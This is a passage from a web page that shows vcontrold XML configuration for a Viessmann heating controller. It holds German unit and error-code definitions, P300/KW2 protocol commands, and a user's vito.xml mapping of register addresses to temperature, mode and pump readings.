text\u0026#61;\u0026#039;Abschaltbetrieb\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;01\u0026#039; text\u0026#61;\u0026#039;Nur Warmwasser\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;02\u0026#039; text\u0026#61;\u0026#039;Heizen und Warmwasser\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;03\u0026#039; text\u0026#61;\u0026#039;Dauernd red. Betrieb\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;04\u0026#039; text\u0026#61;\u0026#039;Dauernd Normalbetrieb\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;Ferienbetrieb\u0026#039;\u0026gt;\n      BFB\n      uchar\n       get\u0026#61;\u0026#34;(B7 \u0026amp; (0x01\u0026lt;\u0026gt; BP\u0026#34;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;00\u0026#039; text\u0026#61;\u0026#039;inaktiv\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;01\u0026#039; text\u0026#61;\u0026#039;aktiv\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;Bitstatus\u0026#039;\u0026gt;\n      BST\n      uchar\n       get\u0026#61;\u0026#34;(B0 \u0026amp; (0x01\u0026lt;\u0026gt; BP\u0026#34;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;00\u0026#039; text\u0026#61;\u0026#039;0\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;01\u0026#039; text\u0026#61;\u0026#039;1\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;Anzahl\u0026#039;\u0026gt;\n      CO\n       get\u0026#61;\u0026#039;V\u0026#039; set\u0026#61;\u0026#039;V\u0026#039;\/\u0026gt;\n      int\n\n\n     name\u0026#61;\u0026#039;Anzahl Liter\u0026#039;\u0026gt;\n      COL\n       get\u0026#61;\u0026#039;V\/1000\u0026#039; set\u0026#61;\u0026#039;V*1000\u0026#039;\/\u0026gt;\n      int\n      Liter\n\n     name\u0026#61;\u0026#039;Schaltzeit\u0026#039;\u0026gt;\n      CT\n      cycletime\n\n     name\u0026#61;\u0026#039;Systemkennung\u0026#039;\u0026gt;\n      DT\n      enum\n       bytes\u0026#61;\u0026#039;20 CB 00 2B 00 00 01 14\u0026#039; text\u0026#61;\u0026#039;VScotHO1, ID: 20CB, Protokoll: KW2\/P300\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;Fehlermeldung\u0026#039;\u0026gt;\n      EM\n      errstate\n       bytes\u0026#61;\u0026#039;00\u0026#039; text\u0026#61;\u0026#039;Regelbetrieb (kein Fehler)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;0F\u0026#039; text\u0026#61;\u0026#039;Wartung (f\u00fcr Reset Codieradresse 24 auf 0 stellen)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;10\u0026#039; text\u0026#61;\u0026#039;Kurzschluss Au\u00dfentemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;18\u0026#039; text\u0026#61;\u0026#039;Unterbrechung Au\u00dfentemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;20\u0026#039; text\u0026#61;\u0026#039;Kurzschluss Vorlauftemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;21\u0026#039; text\u0026#61;\u0026#039;Kurzschluss R\u00fccklauftemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;28\u0026#039; text\u0026#61;\u0026#039;Unterbrechung Au\u00dfentemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;29\u0026#039; text\u0026#61;\u0026#039;Unterbrechung R\u00fccklauftemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;30\u0026#039; text\u0026#61;\u0026#039;Kurzschluss Kesseltemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;38\u0026#039; text\u0026#61;\u0026#039;Unterbrechung Kesseltemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;40\u0026#039; text\u0026#61;\u0026#039;Kurzschluss Vorlauftemperatursensor M2\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;42\u0026#039; text\u0026#61;\u0026#039;Unterbrechung Vorlauftemperatursensor M2\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;50\u0026#039; text\u0026#61;\u0026#039;Kurzschluss Speichertemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;58\u0026#039; text\u0026#61;\u0026#039;Unterbrechung Speichertemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;92\u0026#039; text\u0026#61;\u0026#039;Solar: Kurzschluss Kollektortemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;93\u0026#039; text\u0026#61;\u0026#039;Solar: Kurzschluss Sensor S3\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;94\u0026#039; text\u0026#61;\u0026#039;Solar: Kurzschluss Speichertemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;9A\u0026#039; text\u0026#61;\u0026#039;Solar: Unterbrechung Kollektortemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;9B\u0026#039; text\u0026#61;\u0026#039;Solar: Unterbrechung Sensor S3\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;9C\u0026#039; text\u0026#61;\u0026#039;Solar: Unterbrechung Speichertemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;9F\u0026#039; text\u0026#61;\u0026#039;Solar: Fehlermeldung Solarteil (siehe Solarregler)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;A7\u0026#039; text\u0026#61;\u0026#039;Bedienteil defekt\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;B0\u0026#039; text\u0026#61;\u0026#039;Kurzschluss Abgastemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;B1\u0026#039; text\u0026#61;\u0026#039;Kommunikationsfehler Bedieneinheit\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;B4\u0026#039; text\u0026#61;\u0026#039;Interner Fehler (Elektronik)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;B5\u0026#039; text\u0026#61;\u0026#039;Interner Fehler (Elektronik)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;B6\u0026#039; text\u0026#61;\u0026#039;Ung\u00fcltige Hardwarekennung (Elektronik)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;B7\u0026#039; text\u0026#61;\u0026#039;Interner Fehler (Kesselkodierstecker)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;B8\u0026#039; text\u0026#61;\u0026#039;Unterbrechung Abgastemperatursensor\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;B9\u0026#039; text\u0026#61;\u0026#039;Interner Fehler (Dateneingabe wiederholen)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;BA\u0026#039; text\u0026#61;\u0026#039;Kommunikationsfehler Erweiterungssatz f\u00fcr Mischerkreis M2\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;BC\u0026#039; text\u0026#61;\u0026#039;Kommunikationsfehler Fernbedienung Vitorol, Heizkreis M1\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;BD\u0026#039; text\u0026#61;\u0026#039;Kommunikationsfehler Fernbedienung Vitorol, Heizkreis M2\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;BE\u0026#039; text\u0026#61;\u0026#039;Falsche Codierung Fernbedienung Vitorol\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;C1\u0026#039; text\u0026#61;\u0026#039;Externe Sicherheitseinrichtung (Kessel k\u00fchlt aus)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;C2\u0026#039; text\u0026#61;\u0026#039;Kommunikationsfehler Solarregelung\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;C5\u0026#039; text\u0026#61;\u0026#039;Kommunikationsfehler drehzahlgeregelte Heizkreispumpe, Heizkreis M1\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;C6\u0026#039; text\u0026#61;\u0026#039;Kommunikationsfehler drehzahlgeregelte Heizkreispumpe, Heizkreis M2\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;C7\u0026#039; text\u0026#61;\u0026#039;Falsche Codierung der Heizkreispumpe\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;C9\u0026#039; text\u0026#61;\u0026#039;St\u00f6rmeldeeingang am Schaltmodul-V aktiv\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;CD\u0026#039; text\u0026#61;\u0026#039;Kommunikationsfehler Vitocom 100 (KM-BUS)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;CE\u0026#039; text\u0026#61;\u0026#039;Kommunikationsfehler Schaltmodul-V\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;CF\u0026#039; text\u0026#61;\u0026#039;Kommunikationsfehler LON Modul\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;D1\u0026#039; text\u0026#61;\u0026#039;Brennerst\u00f6rung\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;D4\u0026#039; text\u0026#61;\u0026#039;Sicherheitstemperaturbegrenzer hat ausgel\u00f6st oder St\u00f6rmeldemodul nicht richtig gesteckt\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;DA\u0026#039; text\u0026#61;\u0026#039;Kurzschluss Raumtemperatursensor, Heizkreis M1\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;DB\u0026#039; text\u0026#61;\u0026#039;Kurzschluss Raumtemperatursensor, Heizkreis M2\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;DD\u0026#039; text\u0026#61;\u0026#039;Unterbrechung Raumtemperatursensor, Heizkreis M1\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;DE\u0026#039; text\u0026#61;\u0026#039;Unterbrechung Raumtemperatursensor, Heizkreis M2\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;E4\u0026#039; text\u0026#61;\u0026#039;Fehler Versorgungsspannung\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;E5\u0026#039; text\u0026#61;\u0026#039;Interner Fehler (Ionisationselektrode)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;E6\u0026#039; text\u0026#61;\u0026#039;Abgas- \/ Zuluftsystem verstopft\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;F0\u0026#039; text\u0026#61;\u0026#039;Interner Fehler (Regelung tauschen)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;F1\u0026#039; text\u0026#61;\u0026#039;Abgastemperaturbegrenzer ausgel\u00f6st\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;F2\u0026#039; text\u0026#61;\u0026#039;Temperaturbegrenzer ausgel\u00f6st\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;F3\u0026#039; text\u0026#61;\u0026#039;Flammensigal beim Brennerstart bereits vorhanden\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;F4\u0026#039; text\u0026#61;\u0026#039;Flammensigal nicht vorhanden\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;F7\u0026#039; text\u0026#61;\u0026#039;Differenzdrucksensor defekt\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;F8\u0026#039; text\u0026#61;\u0026#039;Brennstoffventil schlie\u00dft zu sp\u00e4t\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;F9\u0026#039; text\u0026#61;\u0026#039;Gebl\u00e4sedrehzahl beim Brennerstart zu niedrig\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;FA\u0026#039; text\u0026#61;\u0026#039;Gebl\u00e4sestillstand nicht erreicht\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;FD\u0026#039; text\u0026#61;\u0026#039;Fehler Gasfeurungsautomat\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;FE\u0026#039; text\u0026#61;\u0026#039;Starkes St\u00f6rfeld (EMV) in der N\u00e4he oder Elektronik defekt\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;FF\u0026#039; text\u0026#61;\u0026#039;Starkes St\u00f6rfeld (EMV) in der N\u00e4he oder interner Fehler\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;Fehlerstatus\u0026#039;\u0026gt;\n      ES\n      enum\n       bytes\u0026#61;\u0026#039;00\u0026#039; text\u0026#61;\u0026#039;kein Fehler\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;01\u0026#039; text\u0026#61;\u0026#039;FEHLERMELDUNG\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;FehlermeldungGWG\u0026#039;\u0026gt;\n      ESG\n      enum\n       bytes\u0026#61;\u0026#039;00\u0026#039; text\u0026#61;\u0026#039;Keine St\u00f6rung\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;02\u0026#039; text\u0026#61;\u0026#039;Fehler Sicherheitskette\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;04\u0026#039; text\u0026#61;\u0026#039;Brennerst\u00f6rung 04\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;05\u0026#039; text\u0026#61;\u0026#039;Brennerst\u00f6rung 05\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;07\u0026#039; text\u0026#61;\u0026#039;Brennerst\u00f6rung 07\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;08\u0026#039; text\u0026#61;\u0026#039;Brennerst\u00f6rung 09\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;08\u0026#039; text\u0026#61;\u0026#039;Brennerst\u00f6rung 09\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;0A\u0026#039; text\u0026#61;\u0026#039;Brennerst\u00f6rung 10\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;Flammenstatus\u0026#039;\u0026gt;\n      FLS\n      enum\n       bytes\u0026#61;\u0026#039;00\u0026#039; text\u0026#61;\u0026#039;0\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;0B\u0026#039; text\u0026#61;\u0026#039;1\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;0\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;HKP Pumpentyp\u0026#039;\u0026gt;\n      HKT\n      uchar\n       get\u0026#61;\u0026#34;(B0 \u0026amp; (0x01\u0026lt;\u0026gt; BP\u0026#34;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;00\u0026#039; text\u0026#61;\u0026#039;stufig\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;01\u0026#039; text\u0026#61;\u0026#039;drehzahlgeregelt\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;Laufzeit Stunden\u0026#039;\u0026gt;\n      HS\n       get\u0026#61;\u0026#039;V\/3600\u0026#039; set\u0026#61;\u0026#039;V*3600\u0026#039;\/\u0026gt;\n      uint\n      Stunden\n\n     name\u0026#61;\u0026#039;StatusPumpeIntern\u0026#039;\u0026gt;\n      IPS\n      enum\n       bytes\u0026#61;\u0026#039;00\u0026#039; text\u0026#61;\u0026#039;0\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;01\u0026#039; text\u0026#61;\u0026#039;1\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;02\u0026#039; text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;03\u0026#039; text\u0026#61;\u0026#039;0\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;Prozent\u0026#039;\u0026gt;\n      PC\n       get\u0026#61;\u0026#039;V\u0026#039; set\u0026#61;\u0026#039;V\u0026#039;\/\u0026gt;\n      uchar\n      %\n\n     name\u0026#61;\u0026#039;Prozent\u0026#039;\u0026gt;\n      PC1\n       get\u0026#61;\u0026#039;V\/2\u0026#039; set\u0026#61;\u0026#039;V*2\u0026#039;\/\u0026gt;\n      short\n      %\n\n     name\u0026#61;\u0026#039;Prozent\u0026#039;\u0026gt;\n      PC2\n       get\u0026#61;\u0026#039;V\/10\u0026#039; set\u0026#61;\u0026#039;V*10\u0026#039;\/\u0026gt;\n      uchar\n      %\n\n     name\u0026#61;\u0026#039;ReturnStatus\u0026#039;\u0026gt;\n      RT\n      enum\n       bytes\u0026#61;\u0026#039;00\u0026#039; text\u0026#61;\u0026#039;0\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;01\u0026#039; text\u0026#61;\u0026#039;1\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;Sachnummer\u0026#039;\u0026gt;\n      SN\n      uint\n       get\u0026#61;\u0026#039;((((((((((((B0-48)*10)\u0026#43;(B1-48))*10)\u0026#43;(B2-48))*10)\u0026#43;(B3-48))*10)\u0026#43;(B4-48))*10)\u0026#43;(B5-48))*10)\u0026#43;B6-48\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;Quittung Status\u0026#039;\u0026gt;\n      SR\n      enum\n       bytes\u0026#61;\u0026#039;00\u0026#039; text\u0026#61;\u0026#039;OK\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;05\u0026#039; text\u0026#61;\u0026#039;SYNC (NOT OK)\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;Status\u0026#039;\u0026gt;\n      ST\n       get\u0026#61;\u0026#039;V\u0026#039; set\u0026#61;\u0026#039;V\u0026#039;\/\u0026gt;\n      char\n\n\n     name\u0026#61;\u0026#039;Systemzeit\u0026#039;\u0026gt;\n      TI\n      systime\n\n     name\u0026#61;\u0026#039;Umschaltventil Stellung\u0026#039;\u0026gt;\n      USV\n      enum\n       bytes\u0026#61;\u0026#039;00\u0026#039; text\u0026#61;\u0026#039;UNDEFINIERT\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;01\u0026#039; text\u0026#61;\u0026#039;Heizung\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;02\u0026#039; text\u0026#61;\u0026#039;Mittelstellung\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;03\u0026#039; text\u0026#61;\u0026#039;Warmwasser\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;Temperatur\u0026#039;\u0026gt;\n      T1U\n       get\u0026#61;\u0026#039;V\u0026#039; set\u0026#61;\u0026#039;V\u0026#039;\/\u0026gt;\n      uchar\n      \u00b0C\n\n     name\u0026#61;\u0026#039;Temperatur\u0026#039;\u0026gt;\n      TD\n       get\u0026#61;\u0026#039;V\/10\u0026#039; set\u0026#61;\u0026#039;V*10\u0026#039;\/\u0026gt;\n      short\n      \u00b0C\n\n     name\u0026#61;\u0026#039;Temperatur\u0026#039;\u0026gt;\n      T1S\n       get\u0026#61;\u0026#039;V\/2\u0026#039; set\u0026#61;\u0026#039;V*2\u0026#039;\/\u0026gt;\n      uchar\n      \u00b0C\n\n     name\u0026#61;\u0026#039;Neigung\u0026#039;\u0026gt;\n      UN\n       get\u0026#61;\u0026#039;V\/10\u0026#039; set\u0026#61;\u0026#039;V*10\u0026#039;\/\u0026gt;\n      short\n\n\n     name\u0026#61;\u0026#039;Volumenstrom\u0026#039;\u0026gt;\n      VS\n       get\u0026#61;\u0026#039;V\u0026#039; set\u0026#61;\u0026#039;V\u0026#039;\/\u0026gt;\n      ushort\n      Liter\n\n\n\n     name\u0026#61;\u0026#039;P300\u0026#039;\u0026gt;\n      41\n\n         name\u0026#61;\u0026#039;GETADDR\u0026#039;\u0026gt;\n          SEND 00 01\n\n         name\u0026#61;\u0026#039;SETADDR\u0026#039;\u0026gt;\n          SEND 00 02\n\n\n\n         name\u0026#61;\u0026#34;getaddr\u0026#34;\u0026gt;\n          GETADDR $addr $hexlen;RECV $len $unit\n\n         name\u0026#61;\u0026#34;setaddr\u0026#34;\u0026gt;\n          SETADDR $addr $hexlen;SEND BYTES $unit;RECV 1 SR\n\n\n\n     name\u0026#61;\u0026#039;KW2\u0026#039;\u0026gt;\n\n         name\u0026#61;\u0026#039;SYNC\u0026#039;\u0026gt;\n          SEND 04;WAIT 05\n\n         name\u0026#61;\u0026#039;GETADDR\u0026#039;\u0026gt;\n          SEND 01 F7\n\n         name\u0026#61;\u0026#039;SETADDR\u0026#039;\u0026gt;\n          SEND 01 F4\n\n\n\n         name\u0026#61;\u0026#34;getaddr\u0026#34;\u0026gt;\n          3\n          4000\n          SYNC;GETADDR $addr $hexlen;RECV $len $unit\n\n         name\u0026#61;\u0026#34;setaddr\u0026#34;\u0026gt;\n          SYNC;SETADDR $addr $hexlen;SEND BYTES $unit;RECV 1 SR\n\n\n\n\n   xmlns:xi\u0026#61;\u0026#34;https:\/\/www.w3.org\/2003\/XInclude\u0026#34;\u0026gt;\n     href\u0026#61;\u0026#34;vito.xml\u0026#34; parse\u0026#61;\u0026#34;xml\u0026#34;\/\u0026gt;\n\u003C\/pre\u003E\n\u003Ch2\u003EMy vito.xml\u003C\/h2\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E     ID\u0026#61;\u0026#34;20C8\u0026#34; name\u0026#61;\u0026#34;VDens\u0026#34; protocol\u0026#61;\u0026#34;P300\u0026#34;\/\u0026gt;\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoBetriebsart\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2323\n      1\n      BA\n      Betriebsart\n\n     name\u0026#61;\u0026#039;setVitoBetriebsart\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2323\n      1\n      BA\n      Setze Betriebsart\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoBetriebParty\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2303\n      1\n      RT\n      Partybetrieb\n\n     name\u0026#61;\u0026#039;setVitoBetriebParty\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2303\n      1\n      RT\n      Setze Partybetrieb\n\n     name\u0026#61;\u0026#039;getVitoTempPartySoll\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2308\n      1\n      T1U\n      Solltemperatur Partybetrieb in \u00b0C\n\n     name\u0026#61;\u0026#039;setVitoTempPartySoll\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2308\n      1\n      T1U\n      Setze Warmwassersolltemperatur Partybetrieb in \u00b0C\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoBetriebFerien\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2535\n      1\n      BFB\n      Ferienbetrieb\n\n     name\u0026#61;\u0026#039;getVitoFerienBeginn\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2309\n      8\n      TI\n      Abreisetag\n\n     name\u0026#61;\u0026#039;setVitoFerienBeginn\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2309\n      8\n      TI\n      Setze Abreisetag\n\n     name\u0026#61;\u0026#039;getVitoFerienEnde\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2311\n      8\n      TI\n      R\u00fcckreisetag\n\n     name\u0026#61;\u0026#039;setVitoFerienEnde\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2311\n      8\n      TI\n      Setze R\u00fcckreisetag\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoBetriebSpar\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2302\n      1\n      RT\n      Sparbetrieb\n\n     name\u0026#61;\u0026#039;setVitoBetriebSpar\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2302\n      1\n      RT\n      Setze Sparbetrieb\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoTempRaumNorSoll\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2306\n      1\n      T1U\n      Raumsolltemperatur Normal in \u00b0C\n\n     name\u0026#61;\u0026#039;setVitoTempRaumNorSoll\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2306\n      1\n      T1U\n      Setze Raumsolltemperatur Normal in \u00b0C\n\n     name\u0026#61;\u0026#039;getVitoTempRaumRedSoll\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2307\n      1\n      T1U\n      Raumsolltemperatur reduzierter Betrieb in \u00b0C\n\n     name\u0026#61;\u0026#039;setVitoTempRaumRedSoll\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2307\n      1\n      T1U\n      Setze Raumsolltemperatur reduzierter Betrieb in \u00b0C\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoTempAussen\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      0800\n      2\n      TD\n      Au\u00dfentemperatur in \u00b0C\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoOelVerbrauch\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      7574\n      2\n      COL\n      Oelverbrauch\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoTempWWIst\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      0804\n      2\n      TD\n      Warmwassertemperatur in \u00b0C\n\n     name\u0026#61;\u0026#039;getVitoTempWWSoll\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      6300\n      1\n      T1U\n      Warmwassersolltemperatur in \u00b0C\n\n     name\u0026#61;\u0026#039;setVitoTempWWSoll\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      6300\n      1\n      T1U\n      Setze Warmwassersolltemperatur in \u00b0C\n\n     name\u0026#61;\u0026#039;getVitoTempSpeicher\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      0812\n      2\n      TD\n      Speichertemperatur in \u00b0C\n\n     name\u0026#61;\u0026#039;getVitoTempWWAuslauf\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      0814\n      2\n      TD\n      Auslauftemperatur Warmwasser in \u00b0C\n\n     name\u0026#61;\u0026#039;getVitoStatusPumpeSpeicher\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      6513\n      1\n      RT\n      Status Speicherladepumpe\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoTempKesselIst\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      0810\n      2\n      TD\n      Vorlauf- bzw. Kesseltemperatur in \u00b0C\n\n     name\u0026#61;\u0026#039;getVitoTempKesselSoll\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      555A\n      2\n      TD\n      Kesselsolltemperatur in \u00b0C\n\n     name\u0026#61;\u0026#039;getVitoStatusFlamme\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      55DE\n      1\n      FLS\n      Flammenstatus\n\n     name\u0026#61;\u0026#039;getVitoLaufzeitBrenner\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      08A7\n      4\n      HS\n      Brenner Betriebsstunden\n\n     name\u0026#61;\u0026#039;getVitoStartsBrenner\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      088A\n      4\n      CO\n      Brennerstarts\n\n     name\u0026#61;\u0026#039;getVitoStatusPumpeIntern\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      7660\n      1\n      IPS\n      Status interne Pumpe\n\n     name\u0026#61;\u0026#039;getVitoDrehzahlPumpeIntern\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n    